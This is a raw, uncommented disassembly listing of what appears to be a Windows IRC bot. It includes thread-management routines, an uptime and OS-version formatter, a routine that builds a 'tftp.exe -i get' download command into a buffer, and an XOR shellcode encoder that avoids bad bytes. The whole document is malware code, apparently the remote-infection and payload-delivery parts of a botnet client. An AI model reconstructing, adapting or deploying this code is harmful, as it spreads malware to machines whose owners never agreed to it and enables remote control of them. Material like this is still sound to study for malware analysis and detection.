; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: ___:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
		mov	esi, offset dword_431614
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: ___:0040AD7Bj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431610
		jz	short loc_40AD97


loc_40AD92:				; CODE XREF: ___:0040AD52j
					; ___:0040AD62j
		mov	esi, offset dword_43160C


loc_40AD97:				; CODE XREF: ___:0040AD32j
					; ___:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431604
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB


loc_40ADB5:				; CODE XREF: ___:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A4
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5


loc_40ADDB:				; CODE XREF: ___:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26B0BDDh
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CB9F0
		test	eax, eax
		mov	eax, offset off_431634
		jnz	short loc_40AE19
		mov	eax, offset byte_43DB98


loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_43162C
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CB9F0
		test	eax, eax
		mov	eax, offset off_431634
		jnz	short loc_40AE44
		mov	eax, offset byte_43DB98


loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h


loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D924


loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------


loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9B0
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------


loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D928[eax*4]
		pop	ecx


loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DB98
		mov	dword ptr [ebp-0B8h], 94h
		nop
		call	near ptr 2700000h
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431628


loc_40AF38:				; CODE XREF: ___:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_431624
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF48:				; CODE XREF: ___:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431620
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF57:				; CODE XREF: ___:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: ___:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431618
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: ___:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_431614
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: ___:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_43168C
		jz	short loc_40AFA3


loc_40AF9E:				; CODE XREF: ___:0040AF5Ej
					; ___:0040AF6Ej
		mov	edi, offset dword_431688


loc_40AFA3:				; CODE XREF: ___:0040AF3Fj
					; ___:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB89C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_431684
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: ___:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431680
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: ___:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_43167C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: ___:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431670
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40B01B:				; CODE XREF: ___:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_43166C
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431668
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_431664


loc_40B03C:				; CODE XREF: ___:0040AFBFj
					; ___:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------


loc_40B086:				; CODE XREF: ___:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: ___:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360


loc_40B0A7:				; CODE XREF: ___:0040B096j
		add	esp, 0Ch


loc_40B0AA:				; CODE XREF: ___:0040B084j
		nop
		call	near ptr 26B0BDDh
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115


loc_40B0F0:				; CODE XREF: ___:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A4
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0


loc_40B115:				; CODE XREF: ___:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_431724, eax
		lea	eax, [edi+1]
		mov	dword_431745, eax
		lea	eax, [edi+17h]
		mov	dword_43173D, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316C0
		push	ebx
		mov	dword_431753, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431749
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F


loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------


loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx


loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2


loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]


loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA


loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h


loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319


loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------


loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB28
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349


loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344


loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx


loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D


loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB28, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316A8
		push	[ebp+arg_0]
		mov	byte_4316B5, cl
		mov	byte_4316B9, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------


loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431690
		push	[ebp+arg_0]
		mov	word_43169E, cx
		mov	byte_4316A3, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h


loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4


loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E720


loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB720
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E720[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E920[esi], eax
		and	dword_43E924[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E928[esi], 0
		mov	dword_43E92C[esi], eax
		and	byte_43E938[esi], 0
		pop	esi


loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp

; ---------------------------------------------------------------------------
byte_40B425	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2946o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 304B8BE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431784h, 0FF0C75FFh, 0D2E80875h
		dd 83FFFFE3h, 0FF3314C4h, 43E720BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C54868FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h,	0C68124C4h
		dd 234h, 20FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E934[esi]
		lea	edi, dword_43E934[esi]
		nop
		call	near ptr 26B0CA1h
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp


loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E928[esi]
		mov	dword_43E920[esi], ebx
		mov	dword_43E924[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx


loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E92C[esi]
		mov	byte ptr dword_43E720[esi], bl
		mov	byte_43E938[esi], bl
		push	dword ptr [edi]
		call	dword_4CBA7C
		lea	esi, dword_43E930[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBA7C
		mov	[esi], ebx
		pop	edi


loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E720


loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
		inc	ebx


loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB720
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E924


loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB


loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]


loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB924
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E920


loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax


loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB920
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E920


loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB920
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx


loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------


loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BD0Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E934[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	dword_43E924[eax], ecx
		mov	dword_43E928[eax], ecx
		mov	dword_43E92C[eax], ecx
		mov	dword_43E930[eax], ecx
		mov	byte ptr dword_43E720[eax], cl
		mov	byte_43E938[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
		jz	short loc_40B74C
		xor	eax, eax
		cmp	cl, dl
		setz	al


